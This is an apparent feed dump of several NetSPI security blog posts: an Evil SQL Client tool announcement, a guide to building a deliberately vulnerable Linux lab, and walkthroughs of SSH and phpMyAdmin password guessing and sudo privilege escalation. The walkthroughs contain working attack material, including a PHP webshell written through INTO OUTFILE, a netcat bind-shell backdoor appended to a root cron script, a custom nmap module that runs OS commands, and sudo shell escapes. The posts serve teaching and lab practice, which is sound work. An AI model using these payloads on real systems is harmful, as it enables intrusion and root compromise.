Note: The data displayed in the creation timeline chart seems to be trustworthy, but the last accessed/modified timeline charts seem to be a little less dependable. I believe it has something to do with how they are used by the OS, but that is a research project for another day. 

A screenshot of the Powerhunt Shares dashboard. Includes summary data at the computer, share, and share ACL level.
CSV Files

The Invoke-HuntSMBShares script will generate all kinds of .csv files, but the primary file of interest will be the “Inventory-Excessive-Privileges.csv” file. It should contain all the data discussed earlier on in this blog and can be a good source of data for additional offline analysis.

A detailed screenshot of the Inventory-Excessive-Privileges.csv generated by the Invoke-HuntSMBShares script.A detailed screenshot of the Inventory-Excessive-Privileges.csv generated by the Invoke-HuntSMBShares script.

PowerShell can be used to import the .csv files and do additional analysis on the spot, which can be handy from both the blue and red team perspectives.

A screenshot detailing how PowerShell can be used to import.csv files for additional analysis.

Wrap Up

This was a fun blog to write, and we covered a lot of ground, so below is a quick recap:

  • IAM and red teams can leverage Active Directory to help create an inventory of systems, shares, and share permissions.
  • Remediation efforts can be expedited through simple data grouping techniques if the correct information is collected when creating your share inventory.
  • The builtin\users group implicitly includes domain users when joined to Active Directory domains through a group inheritance chain.
  • Shares configured with excessive permissions can lead to RCE in various ways.
  • Windows event IDs can be used to identify authenticated scanning (540, 4624, 680,4625) and share access (5140) happening in your environment.
  • PowerHuntShares is an open-source tool that can be used to get you started.

In the long term, my hope is to rewrite PowerHuntShares in C# to improve performance and remove some of the bugs. Hopefully, the information shared in this blog helped generate some awareness of the issues surrounding excessive permissions assigned to SMB shares in Active Directory environments. Or at least serves as a place to start digging into the solutions. 

Remember, share audits should be done on a regular cadence so you can identify and remediate high risk share permissions before they become a threat. It is part of good IT and offensive security hygiene, just like a penetration testing, adversary simulation, or red team operations

For more on this topic, watch NetSPI’s webinar, How to Evaluate Active Directory SMB Shares at Scale.

Good luck and happy hunting!

The post Attacking and Remediating Excessive Network Share Permissions in Active Directory Environments appeared first on NetSPI.

]]>
Evil SQL Client Console: Msbuild All the Things https://www.netspi.com/blog/technical-blog/network-pentesting/evil-sql-client-console-msbuild-all-the-things/ Mon, 04 May 2020 07:00:04 +0000 https://www.netspi.com/evil-sql-client-console-msbuild-all-the-things/ Evil SQL Client (ESC) is an interactive .net SQL console client that supports enhanced SQL Server discovery, access, and data exfiltration capabilities.

The post Evil SQL Client Console: Msbuild All the Things appeared first on NetSPI.

]]>
Esc Logo

Evil SQL Client (ESC) is an interactive .NET SQL console client that supports enhanced SQL Server discovery, access, and data exfiltration capabilities. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.

This blog will provide a quick overview of the tool. For those who just want the code, it can be downloaded from https://github.com/NetSPI/ESC.

Why another SQL Server attack client?

PowerUpSQL and DAFT (A fantastic .net port of PowerUpSQL written by Alexander Leary) are great tool sets, but during red team engagements they can be a little too visible.  So to stay under the radar we initially we created a series of standalone .net functions that could be executed via alternative mediums like msbuild inline tasks.  Following that, we had a few clients request to exfiltrate data from the SQL Server using similar evasion techniques.  So we created the Evil SQL Client console to help make the testing process faster and the report screenshots easier to understand 🙂 .

Summary of Executions Options

The Evil SQL Client console and functions can be run via:

  • Esc.exe  Esc.exe is the original application created in visual studio.
  • Esc.csproj is a msbuild script that loads .net code directly through inline tasks. This technique was researched and popularized by Casey Smith (@subTee).  There is a nice article on detection worth reading by Steve Cooper (@BleepSec)  here.
  • Esc.xml is also a msbuild script that uses inline tasks, but it loads the actual esc.exe assembly through reflection.  This technique was shared by @bohops in his GhostBuild project.  It also leverages work done by @mattifestation.
  • Esc-example.ps1 PowerShell script: Loads esc.exe through reflection.  This specific script was generated using Out-CompressDll by @mattifestation.

Below is a simple screenshot of the the Evil SQL Client console executed via esc.exe:

Start Esc Compile

Below is a simple screenshot of the the Evil SQL Client console being executed through MSBuild:

Esc Msbuild

Summary of Features/Commands

At the moment, ESC does not have full feature parity with the PowerUpSQL or DAFT, but the most useful bits are there. Below is a summary of the features that do exist.

DiscoveryAccessGatherEscalateExfil
Discover fileCheck accessSingle instance queryCheck loginaspwSet File
Discover domainspnCheck defaultpwMulti instance queryCheck uncinjectSet FilePath
Discover broadcastShow accessList serverinfoRun oscmdSet icmp
Show discoveredExport accessList databasesSet icmpip
Export discoveredList tablesSet http
List linksSet httpurl
List logins
List rolemembers
List privy*All query results are exfiltrated via all enabled methods.

For more information on available commands visit: https://github.com/NetSPI/ESC/blob/master/README.md#supportedcommands

Wrap Up

Hopefully, the Evil SQL Client console will prove useful on engagements and help illustrate the need for a larger time investment in detective control development surrounding MSBuild inline task execution, SQL Server attacks, and basic data exfiltration.   For more information regarding the Evil SQL Client (ESC), please visit the github project.

Below are some additional links to get you started on building detections for common malicious Msbuild and SQL Server use:

Good luck and hack responsibly!

The post Evil SQL Client Console: Msbuild All the Things appeared first on NetSPI.

]]>
Linux Hacking Case Studies Part 5: Building a Vulnerable Linux Server https://www.netspi.com/blog/technical-blog/network-pentesting/linux-hacking-case-studies-part-5-building-a-vulnerable-linux-server/ Fri, 27 Mar 2020 07:00:57 +0000 https://www.netspi.com/linux-hacking-case-studies-part-5-building-a-vulnerable-linux-server/ This blog will share how to configure your own vulnerable Linux server so you can practice building and breaking at home.

The post Linux Hacking Case Studies Part 5: Building a Vulnerable Linux Server appeared first on NetSPI.

]]>
This blog will share how to configure your own Linux server with the vulnerabilities shown in the “Linux Hacking Case Studies” blog series. That way you can practice building and breaking at home. Similar to the rest of the series, this blog is really intended for people who are new to penetration testing, but hopefully there is a little something for everyone. Enjoy!

Below are links to the first four blogs in the series:

Below is an overview of what will be covered in this blog:

Lab Scenarios

This section briefly summarizes the lab scenarios that you’ll be building which are based on this blog series.

# REMOTE VULNERABILITY LOCAL VULNERABILITY ESCALATION PATH
1 Excessive privileges configured on a Rsync Server Excessive privileges configured on a Rsync server.  Specifically, the server is configured to run as root. Create a new privileged user by adding lines to the shadow, passwd, groups, and sudoers files.
2 Excessive privileges configured on a NFS Export  Insecure setuid binary that allows arbitrary code execution as root. Review setuid binaries and determine which ones have the direct or indirect capability to execute arbitrary code as root.
3 Weak password configured for phpMyAdmin Excessive privileges configured on a script that is executed by a root cron job.  Specifically, the script file is world writable. Write a command to the world writable script that starts a netcat listener.  When the root cron job executes the script the netcat listener will start as root. Then its possible to connect to the netcat listeners remotely to obtain root access.Reverse shell alternatives here.
4 Weak password configured for SSH Insecure sudoers configurations that allows arbitrary code execution as root through sudo applications. Review sudo applications to determine which ones have the direct or indirect capability to execute arbitrary code as root. Examples include sh, VI, python, netcat, and the use of a custom nmap module.

Kali VM and Install Dependencies

For this lab, we’ll be building our vulnerable services on a standard Kali image.  If you don’t already have a Kali VM, you can download from their site website to get you setup.  Once your Kali VM is ready to go you’ll want to install some package that will be required for setting up the scenarios in the lab.  Make sure to sign as root, you’ll need those privilege to setup the lab.

Install Required Packages

apt-get update
apt-get install nfs-kernel-server
apt-get install nfs-common
apt-get install ufw
apt-get install nmap

Clear Firewall Restrictions

iptables --flush
ufw allow from any to any
ufw status

With that out of the way let’s dive in.

Lab Setup: Rsync

Attack Lab: Linux Hacking Case Study Part 1: Rsync

In this section we’ll cover how to configure an insecure Rsync server.  Once you’re logged in as root execute the commands below.

Let’s start by creating the rsyncd.conf configuration file with the commands below:

echo "motd file = /etc/rsyncd.motd" > /etc/rsyncd.conf
echo "lock file = /var/run/rsync.lock" >> /etc/rsyncd.conf
echo "log file = /var/log/rsyncd.log" >> /etc/rsyncd.conf
echo "pid file = /var/run/rsyncd.pid" >> /etc/rsyncd.conf
echo " " >> /etc/rsyncd.conf
echo "[files]" >> /etc/rsyncd.conf
echo " path = /" >> /etc/rsyncd.conf
echo " comment = Remote file share." >> /etc/rsyncd.conf
echo " uid = 0" >> /etc/rsyncd.conf
echo " gid = 0" >> /etc/rsyncd.conf
echo " read only = no" >> /etc/rsyncd.conf
echo " list = yes" >> /etc/rsyncd.conf

Rsync

Next, let’s setup the rsync Service:

systemctl enable rsync
systemctl start rsync
or
systemctl restart rsync

Verify the Configuration

rsync 127.0.0.1::
rsync 127.0.0.1::files

Rsync

Lab Setup: NFS

Attack Lab: Linux Hacking Case Study Part 2: NFS

In this section we cover how to configure insecure NFS exports and an insecure setuid binary.  Once you’re logged in as root execute the commands below.

Configure NFS Exports

Create NFS Exports

echo "/home *(rw,sync,no_root_squash)" >> /etc/exports
echo "/ *(rw,sync,no_root_squash)" >> /etc/exports

Start NFS Server

systemctl start nfs-kernel-server.service
systemctl restart nfs-kernel-server

Verify NFS Export

showmount -e 127.0.0.1

Nfs

Create Password Files for Discovery

echo "user2:test" > /root/user2.txt
echo "test:password" > /tmp/creds.txt
echo "test:test" > /tmp/mypassword.txt

Nfs

Enable password authentication through SSH.

sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service ssh restart

Create Insecure Setuid Binary

Create the source code for a binary that can execute arbitrary OS commands called exec.c:

echo "#include <stdlib.h>" > /home/test/exec.c
echo "#include <stdio.h>" >> /home/test/exec.c
echo "#include <unistd.h>" >> /home/test/exec.c
echo "#include <string.h>" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo "int main(int argc, char *argv[]){" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo " printf("%s,%dn", "USER ID:",getuid());" >> /home/test/exec.c
echo " printf("%s,%dn", "EXEC ID:",geteuid());" >> /home/test/exec.c
echo " " >> /home/test/exec.c
echo " printf("Enter OS command:");" >> /home/test/exec.c
echo " char line[100];" >> /home/test/exec.c
echo " fgets(line,sizeof(line),stdin);" >> /home/test/exec.c
echo " line[strlen(line) - 1] = ' '; " >> /home/test/exec.c
echo " char * s = line;" >> /home/test/exec.c
echo " char * command[5];" >> /home/test/exec.c
echo " int i = 0;" >> /home/test/exec.c
echo " while(s){" >> /home/test/exec.c
echo " command[i] = strsep(&s," ");" >> /home/test/exec.c
echo " i++;" >> /home/test/exec.c
echo " }" >> /home/test/exec.c
echo " command[i] = NULL;" >> /home/test/exec.c
echo " execvp(command[0],command);" >> /home/test/exec.c
echo "}" >> /home/test/exec.c

Compile exec.c:

gcc -o /home/test/exec exec.c
rm exec.c

Configure setuid on exec so that we can execute commands as root:

chmod 4755 exec

Nfs

Verify you can execute the exec binary as a least privilege user.

Nfs

Lab Setup: phpMyAdmin

Attack Lab: Linux Hacking Case Study Part 3: phpMyAdmin

In this section we’ll cover how to configure an insecure instance of phpMyAdmin, a root cron job, and a script that’s world writable.  Once you’re logged in as root execute the commands below.

Reset the root Password (this is mostly for existing MySQL instances)

We’ll start by resetting the root password on the local MySQL instance.  MySQL should be installed by default in Kali, but if it’s not on your build you’ll have to install it first.

# Stop mysql
/etc/init.d/mysql stop

# Start MySQL in safe mode and log in as root
mysqld_safe --skip-grant-tables&
mysql -uroot

# Select the database to use
use mysql;

# Reset the root password
update user set password=PASSWORD("password") where User='root';
flush privileges;
quit

# Restart the server
/etc/init.d/mysql stop
/etc/init.d/mysql start

# Confirm update by logging in with new password
mysql -u root -p
exit

Install PHPMyAdmin

Alrighty, time to install phpMyAdmin.

apt-get install phpmyadmin

Eventually you will be presented with a GUI. Follow the instructions below.

  1. Choose apache2 for the web server. Warning: When the first prompt appears, apache2 is highlighted, but not selected. If you do not hit Space to select Apache, the installer will not move the necessary files during installation. Hit Space, Tab, and then Enter to select Apache.
  2. Select yes when asked whether to use dbconfig-common to set up the database.
  3. You will be prompted for your database administrator’s password, which should be set to “password” to match the lab.

After the installation we still have a few things to do. Let’s create a soft link in the webroot to phpmyadmin.

ln -s /usr/share/phpmyadmin/ /var/www/phpmyadmin

Then, let’s restart the required services:

service apache2 restart
service mysql restart

Next, let’s add the admin user we’ll be guessing later.

mysql -u root
use mysql;
CREATE USER 'admin'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'admin'@'%' WITH GRANT OPTION;
exit

Finally, configure excessive privileges in the webroot just for fun:

cd /var/www/
chown -R www-data *
chmod -R 777 *

Web it’s all done you should be able to verify the setup by logging into https://127.0.0.1/phymyadmin as the “admin” user with a password of “password”.

Php

Create a World Writable Script

Next up, let’s make a world writable script that will be executed by a cron job.

mkdir /scripts
echo "echo hello world" >> /scripts/rootcron.sh
chmod -R 777 /scripts

Create Root Cron Job
Now, let’s configure a root cron job to execute the script every minute.

echo "* * * * * /scripts/rootcron.sh" > mycron

You can then verify the cron job was added with the command below.

crontab -l

Cron

Lab Setup: Sudoers

Attack Lab: Linux Hacking Case Study Part 4: Sudoers Horror Stories
This section outlines how to create a sudoers configuration that allows the execution of applications that can run arbitrary commands.

Create Encrypted Password
The command below will allow you create create an encrypted password for generating test users. I originally found this guidance from https://askubuntu.com/questions/94060/run-adduser-non-interactively.

openssl passwd -crypt test

Next you can add new users using the generate password below.  This is not required, but handy for scripting out environments.

useradd -m -p O1Fug755UcscQ -s /bin/bash test
useradd -m -p O1Fug755UcscQ -s /bin/bash user1
useradd -m -p O1Fug755UcscQ -s /bin/bash user2
useradd -m -p O1Fug755UcscQ -s /bin/bash user3
useradd -m -p O1Fug755UcscQ -s /bin/bash tempuser

Create an Insecure Sudoers Configuration
The sudoers configuration below with allow vi, nmap, python, and sh to be executed as root by test and user1.

echo "Cmnd_Alias ALLOWED_CMDS = /usr/bin/vi, /usr/bin/nmap, /usr/bin/python3.6, /usr/bin/python3.7, /usr/bin/sh" > /etc/sudoers
echo "test ALL=(ALL) NOPASSWD: ALLOWED_CMDS" >> /etc/sudoers
echo "user1 ALL=(ALL) NOPASSWD: ALLOWED_CMDS" >> /etc/sudoers

When its all done you can log in as the previously created test user to verify the sudo application are available:

Sudo

Wrap Up

In this blog we covered how to configure your own vulnerable Linux server, so you can learn in a safe environment.  Hopefully the Linux Hacking Case Studies blog series was useful for those of you who are new the security community.  Stay safe and hack responsibly!

The post Linux Hacking Case Studies Part 5: Building a Vulnerable Linux Server appeared first on NetSPI.

]]>
Linux Hacking Case Studies Part 4: Sudo Horror Stories https://www.netspi.com/blog/technical-blog/network-pentesting/linux-hacking-case-studies-part-4-sudo-horror-stories/ Thu, 26 Mar 2020 07:00:16 +0000 https://www.netspi.com/linux-hacking-case-studies-part-4-sudo-horror-stories/ This blog will cover different ways to approach SSH password guessing and attacking sudo applications to gain a root shell on a Linux system.

The post Linux Hacking Case Studies Part 4: Sudo Horror Stories appeared first on NetSPI.

]]>
This blog will cover different ways to approach SSH password guessing and attacking sudo applications to gain a root shell on a Linux system. This case study commonly makes appearances in CTFs, but the general approach for attacking weak passwords and sudo applications can be applied to many real world environments. This should be a fun walk through for people new to penetration testing.

This is the fourth of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during network penetration tests.

Below are links to the first three blogs in the series:

Below is an overview of what will be covered in this blog:

Finding SSH Servers

Before we can start password guessing or attacking sudo applications, we need to find some SSH servers to go after.  Luckily Nmap and similar port scanning tools make that pretty easy because most vendors still run SSH on the default port of 22.

Below is a sample Nmap command and screenshot to get you started.

nmap -sS -sV -p22 192.168.1.0/24 -oA sshscan

Once you’ve run the port scan you can quickly parse the results to make a file containing a list of SSH servers to target. Below is a command example and quick video to help illustrate.

grep -i "open" sshscan.gnmap
grep -i "open" sshscan.gnmap | awk -F ' ' '{print $2} '> ssh.txt
cat ssh.txt

Dictionary Attacks against SSH Servers

Password guessing is a pretty basic way to gain initial access to a Linux system, but that doesn’t mean it’s not effective.  We see default and weak SSH passwords configured in at least a half of the environments we look at.

If you haven’t done it before, below are a few tips to get you started.

  1. Perform additional scanning and fingerprinting against the target SSH server and try to determine if it’s a specific device. For example, determine if it is a known printer, switch, router, or other miscellaneous network device. In many cases, knowing that little piece of information can lead you to default device passwords and land you on the box.
  2. Based on the service fingerprinting, also try to determine if any applications are running on the system that create local user accounts that might be configured with default passwords.
  3. Lastly, try common username and password combinations. Please be careful with this approach if you don’t understand the account lockout policies though.  No one wants to have a bad day.

Password Lists

In this scenario let’s assume we’re going to test for common user name and password combinations.  That means we’ll need a file containing a list of users and a file containing a list of passwords.  Kali ships with some good word lists that provide coverage for common user names and passwords.  Many can be found in the /usr/share/wordlists/.

Wordlists

While those can be handy, for this scenario we’re going to create a few small custom lists.

Create users.txt File Containing:

echo user >> users.txt
echo root >> users.txt
echo test >> users.txt

Create passwords.txt File Containing:

echo Password >> passwords.txt
echo Password1 >> passwords.txt
echo toor >> passwords.txt
echo test >> passwords.txt

Password Guessing

Metasploit has modules that can be used to perform online dictionary attacks for most management protocols.  Most of those modules use the protocol_login naming standard. Example: ssh_login . Below is an example of the ssh_login module usage.

msfconsole
spool /root/ssh_login.log
use auxiliary/scanner/ssh/ssh_login
set USER_AS_PASS TRUE
set USER_FILE /root/users.txt
set PASS_FILE /root/password.txt
set rhosts file:///root/ssh.txt
set threads 100
set verbose TRUE
show options
run

Below is what it should look like if you successfully guess a password.

Guessedsshpassword

Here is a quick video example that shows the process of guessing passwords and gaining initial access with Metasploit.

Once you have identified a valid password you can also login using any ssh client.

Sudo


Viewing Sudoers Execution Options

There are a lot of tools like Metasploit, LinEnum, Lynis, LinuxPrivCheck, UnixPrivsEsc, etc that can be used to help identify weak configurations that could be leveraged for privilege escalation, but we are going to focus on insecure sudoers configurations.

Sudoers is configuration file in Linux that defines what commands can be run as what user.  It’s also commonly used to define commands that can be run as root by non-root users.

The sudo command below can be used to see what commands our user can run as root.

sudo -l

Sudo
In this scenario, our user has the ability to run any command as root, but we’ll experiment with a few different command examples.

Exploiting Sudo sh

Unfortunately, we have seen this in a handful of real environments.  Allowing users to execute “sh” or any other shell through sudo provides full root access to the system.  Below is a basic example of dropping into a “sh” shell using sudo.

sudo sh
Sudo


Exploiting Sudo VI

VI is a text editor that’s installed by default in most Linux distros.  It’s popular with lots of developers. As a result, it’s semi-common to see developers provided with the ability to execute VI through sudo to facilitate the modification of privileged configurations files used in development environments.  Having the ability to modify any file on the system has its own risks, but VI actually has a built-in function that allows the execution of arbitrary commands.  That means, if you provided a user sudo access to VI, then you have effectively provided them with root access to your server.

Below is a command example:

vi
ESC (press esc key)
:!whoami

Below are some example screenshots showing the process.

Vibreakout

Exploiting Sudo Python

People also love Python.  It’s a scripting language used in every industry vertical and isn’t going away any time soon. It’s actually pretty rare to see Python or other programming engines broadly allowed to execute through sudo, but we have seen it a few times so I thought I’d share an example here.  Python, like most robust scripting and programming languages, supports arbitrary command execution capabilities by default.

Below is a basic command example and a quick video for the sake of illustration:

sudo python –c “import os;os.system(‘whoami’)”

Here are a few quick video examples.

Exploiting Sudo Nmap

Most privilege escalation involves manipulating an application running as a higher privilege into running your code or commands.  One of the many techniques used by attackers is to simply leverage the native functionality of the target application. One common theme we see across many applications is the ability to create and load custom modules, plug-ins, or add-ons.

For the sake of this scenario, let’s assume we can run Nmap using sudo and now we want to use it’s functionality to execute operating system commands.

When I see that an application like Nmap can be run through sudo, I typically follow a process similar to the one below:

  1. Does Nmap allow me to directly execute os commands?
    No (only in old versions using the -–interactive flag and !whoami)
  2. Does Nmap allow me to extend its functionality?
    Yes, it allows users to load and execute custom .nse modules.
  3. What programming language are the .nse modules written in?
    Nmap .nse modules use the LUA scripting engine.
  4. Does the LUA scripting engine support OS command execution?
    Yep. So let’s build a LUA module to execute operating system commands. It’s important to note that we could potentially write a module to execute shell code or call specific APIs, but in this example we’ll keep it simple.

Let’s assume at this point you spent a little time reviewing existing Nmap modules/LUA capabilities and developed the following .nse module.

--- SAMPLE SCRIPT
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local command  = stdnse.get_script_args(SCRIPT_NAME .. ".command") or nil
print("Command Output:")
local t = os.execute(command)
description = [[This is a basic script for executing os commands through a Nmap nse module (lua script).]]
---
-- @usage
-- nmap --script=./exec.nse --script-args='command=whoami'
-- @output
-- Output:
-- root
-- @args command
author = "Scott Sutherland"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "discovery", "safe"}
portrule = shortport.http
action = function(host,port)   
end

Once the module is copied to the target system, you can then run your custom module through Nmap. Below you can see the module successfully runs as our unprivileged user.

nmap --script=./exec --script-args='command=whoami'
Sudo
nmap --script=./exec --script-args='command=cat /etc/shadow'
Sudo

Now, you can see we’re able to run arbitrary commands in the root user’s context, when running our new Nmap module through sudo.

So that’s the Nmap example. Also, for the fun of it, we occasionally configure ncat in sudoers when hosting CTFs, but to be honest I’ve never seen that in the real world. Either way, the video below shows both the Nmap and ncat scenarios.

Wrap Up

In this blog we talked about different ways to approach SSH password guessing and attacking sudo applications. I hope it was useful information for those new the security community.  Good luck and hack responsibly!

The post Linux Hacking Case Studies Part 4: Sudo Horror Stories appeared first on NetSPI.

]]>
Linux Hacking Case Studies Part 3: phpMyAdmin https://www.netspi.com/blog/technical-blog/network-pentesting/linux-hacking-case-studies-part-3-phpmyadmin/ Wed, 25 Mar 2020 07:00:52 +0000 https://www.netspi.com/linux-hacking-case-studies-part-3-phpmyadmin/ This blog will walkthrough how to attack insecure phpMyAdmin configurations and world writable files to gain a root shell on a Linux system.

The post Linux Hacking Case Studies Part 3: phpMyAdmin appeared first on NetSPI.

]]>
This blog will walk-through how to attack insecure phpMyAdmin configurations and world writable files to gain a root shell on a Linux system. This case study commonly makes appearances in CTFs, but the general approach for attacking phpMyAdmin can be applied to many web applications. This should be a fun walk-through for people new to penetration testing, or those looking for a phpMyAdmin attack refresher.

This is the third of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during real network penetration tests.

Below are links to the first two blogs in the series:

Below is an overview of what will be covered in this blog:

What is phpMyAdmin?

phpMyAdmin is a web application that can be used to manage local MySQL databases. It’s commonly found in environments of all sizes and occasionally accessible directly from the internet. It’s often used as part of open source projects and as a result some administrators don’t realize that it’s been installed in their environment. Developers also use it to temporarily spin up/down basic test environments, and we commonly see those turn into permanently unmanaged installations on corporate networks. Since we see phpMyAdmin so often, we thought it would be worth sharing a basic overview of how to use it to get a foothold on a system.
To get started, let’s talk about findings phpMyAdmin instances.

Accessing NATed Environments

At the risk of adding unnecessary complexity to this scenario, we’re going to assume that all of our tests are being conducted from a system that’s in a NATed environment.  Meaning that we’re pretending to connect to a SSH server that is exposed to the internet through a firewall, but the environment we’re attacking is on the other side of the firewall.

Finding PHPMyAdmin

phpMyAdmin is a web application that’s usually hosted by Apache, but it can be hosted by other web servers.  Sometimes it’s installed in the web root directory,  but more commonly we see it installed off of the /phpMyAdmin path. For example, https://server/phpMyAdmin.

With this knowledge let’s start searching for web serves that might be hosting phpMyAdmin instances using our favorite port scanner Nmap:

nmap -sT -sV -p80,443 192.168.1.0/24 -oA phpMyAdmin_scan

Next we can quickly search the phpMyAdmin_scan.gnmap output file for open ports with the command below:

grep -i "open" phpMyAdmin_scan.gnmap

We can see a few Apache instances. We can now target those to determine if phpMyAdmin is being hosted on the webroot or /phpMyAdmin path.

Since we are SSHing into a NATed environment we are going to forward port 80 through an SSH tunnel to access the web server hosted on 192.168.1.171.  In most cases you wont have to do any port forwarding, but I thought it would be fun to cover the scenario. A detailed overview of SSH tunneling and SOCKS proxies are out of scope for this blog, but below is my attempt to illustrate what we’re doing.

Tunnel

Below are a couple of options for SSH tunnling to the target web server.

Linux SSH Client

ssh pentest@ssh.servers.com -L 2222:192.168.1.171:80

Windows PuTTY Client

Once port forwarding is configured, we’re able to access phpMyAdmin by navigating to https://127.0.0.1:2222/phpmyadmin in our local web browser.

Dictionary Attacks against PHPMyAdmin

Now that we’ve found a phpMyAdmin instance the next step is usually to test for default credentials, which are root:[blank].   For the sake of this lab we’ll assume the default has been changed, but all is not lost.  From here we can conduct a basic dictionary attack to test for common user/password combinations without causing trouble.  However, you should always research the web application you’re performing dictionary attacks against to ensure that you don’t cause account lockouts.

There are a lot of great word lists out there, but for the sake of this scenario we kept it simple with the list below.

User List:

echo root >> /tmp/users.txt
echo admin >> /tmp/users.txt
echo user >> /tmp/users.txt

Password List:

echo password >> /tmp/passwords.txt
echo Password >> /tmp/passwords.txt

You can use a tool like Burp Intruder to conduct dictionary attacks against phpMyAdmin (and other web applications), but a nice article is already available on the topic here.  So to show an alternative we’ll use Metasploit since it has a module built for the task.  Below are some commands to get you started.

Note: Metasploit is installed on the Kali Linux distribution by default.

msfconsole
use auxiliary/scanner/http/phpMyAdmin_login
set rhosts 192.168.1.171
set USER_AS_PASS true
set targeturi /phpMyAdmin/index.php
set user_file /tmp/users.txt
set pass_file /tmp/passwords.txt
run

Below is a screenshot of what a successful dictionary attack looks like.

Bf

If the dictionary attack discovers valid credentials, you’re ready to login and move onto the next step. Below is a short video showing the dictionary attack process using Metasploit.

Uploading WebShells through PHPMyAdmin

Now that we’ve guessed the password, the goal is to determine if there is any functionality that may allow us to execute operating system commands on the server.  MySQL supports user defined functions that could be used, but instead we’re going to write a webshell to the webroot using the OUTFILE function.

Note: In most multi-tiered environments writing a webshell to the webroot through SQL injection wouldn’t work, because the database and web server are not hosted on the same system. phpMyAdmin is a bit of an exception in that regard, but LAMP, WAMP, and XAMPP are other examples. It’s also worth noting that in some environments the mysql services account may not have write access to the webroot or phhMyAdmin directories.

MySQL Code to Write a Webshell

To get started click the “SQL” button to view the query window.  Then execute the query below to upload the custom PHP webshell that can be used to execute commands on the operating system as the Apache service account. Remember that phpMyAdmin may not always be installed to /var/www/phpMyAdmin when executing this in real environments.

SELECT "<HTML><BODY><FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><?php if($_GET['cmd']) {​​system($_GET['cmd']);}​​ ?> </pre></BODY></HTML>"

INTO OUTFILE '/var/www/phpMyAdmin/cmd.php'

The actual code can be downloaded here, but below is screenshot showing it in context.

Uploadwebshell

The webshell should now be available at https://127.0.0.1:2222/phpMyAdmin/cmd.php.  With that in hand we can start issuing OS commands and begin privilege escalation.
Below are a few commands to start with:

whoami 
ls –al
ls /
Ls

Below is a quick video illustrating the process.

Note: When you’re all done with your webshell make sure to remove it.  Also, consider adding authentication to your webshells so you’re not opening up holes in client environments.

Locating World Writable Files

World-writable files and folders can be written to by any user.  They aren’t implicitly bad, but when those files are directly or indirectly executed by the root user they can be used to escalate privileges.

Finding World-Writable Files

Below is the command we’ll run through our webshell to locate potentially exploitable world writable files.

find / -maxdepth 3 -type d -perm -777 2>/dev/null
Ww A

From here we can start exploring some of the affected files and looking for potentially exploitable targets.

Exploiting a World Writable Root Cron Job Script

In our example below, the /scripts/ directory is world-writable.  It appears to contain a script that is run by the a root cron job.  While this isn’t incredibly common, we have seen it in the wild.  The general idea can be applied to sudo scripts as well.  There are a lot of things we could write to the root cron job script, but for fun we are going to add a line to the script that will start a netcat listener as root.  Then we can connect to the listener from our Linux system.

Display Directory Listing for Scripts

ls /scripts
cat /scripts/rootcron.sh
Scriptdirectory

Add Netcat Backdoor to Root’s Crontab Script

echo "nc -l -p12345 -e /usr/bin/sh& 2>/dev/null" >> /scripts/rootcron.sh
cat /scripts/rootcron.sh
Writetoscript

You’ll have to wait for the cron job to trigger, but after that you should be able to connect the netcat backdoor listening on port 12345 from the Linux system.

Below are a few commands you might want to try once connected:

nc 192.168.1.171 12345
whoami
pwd
cat /etc/shadow
w
Rootshell

I acknowledge that this seems like an exaggerated scenario, but sometimes reality is stranger than fiction. While this isn’t a common occurrence we have seen very similar scenarios during real penetration tests.  For scenarios that require a reverse shell instead of a bind shell, pentestmonkey.net has a few documented options here.   However, below is a quick video showing the netcat backdoor installation and access.

Wrap Up

This blog illustrated one way to obtain a root shell on a remote Linux system using a vulnerable phpMyAdmin installation and a world writable script being executed by a root cron job . While there are many ways to reach the same end, I think the moral of this story is that web admin interfaces can be soft targets, and often support functionality that can lead to command execution.  Also, performing web application discovery and maintenance is an important part of vulnerability management that is often overlooked. Hopefully this blog will be useful to new pentesters and defenders trying to better understand the potential impacts associated with insecurely configured web platforms like phpMyAdmin in their environments. Good luck and hack responsibly!

The post Linux Hacking Case Studies Part 3: phpMyAdmin appeared first on NetSPI.

]]>
Linux Hacking Case Studies Part 2: NFS https://www.netspi.com/blog/technical-blog/network-pentesting/linux-hacking-case-studies-part-2-nfs/ Tue, 24 Mar 2020 07:00:52 +0000 https://www.netspi.com/linux-hacking-case-studies-part-2-nfs/ This blog will walk through how to attack insecure NFS exports and setuid configurations in order to gain a root shell on a Linux system.

The post Linux Hacking Case Studies Part 2: NFS appeared first on NetSPI.

]]>
This blog will walk through how to attack insecure NFS exports and setuid configurations in order to gain a root shell on a Linux system. This should be a fun overview for people new to penetration testing, or those looking for a NFS refresher. This is the second of a five part blog series highlighting entry points and local privilege escalation paths commonly found on Linux systems during real network penetration tests.  The first blog focused on attacking Rsync and can be found here.

Below is an overview of what will be covered in this blog:

What is NFS and Why Should I Care?

Network File System (NFS) is a clear text protocol that is used to transfer files between systems. So what’s the problem? Insecurely configured NFS servers are found during our internal network penetration tests about half of the time. The weak configurations often provide unauthorized access to sensitive data and sometimes the means to obtain a shell on the system. As you might imagine, the access we get is largely dependent on the NFS configuration.

Remotely accessing directories shared through NFS exports requires two things, mount access and file access.

  1. Mount access can be restricted by hostname or IP in /etc/exports, but in many cases no restrictions are applied.  It’s also worth noting that IP and hostnames are easy to impersonate (assuming you know what to impersonate).
  2. File access is made possible by configuring exports in /etc/exports and labeling them as readable/writable. File access is then restricted by the connecting user’s UID, which can be spoofed.  However, it should be noted that there are some mitigating controls such as “root squashing”, that can be enabled in /etc/exports to prevent access from a UID of 0 (root).

The Major Issue with NFS

If it’s possible to mount NFS exports, the UID can usually be manipulated on the client system to bypass file permissions configured on the directory being made available via the NFS export. Access could also be accidentally given if the UID on the file and the UID of the connecting user are the same.

Below is a overview of how unintended access can occur:

  1. On “Server 1” there is a user named “user1” with a UID of 1111.
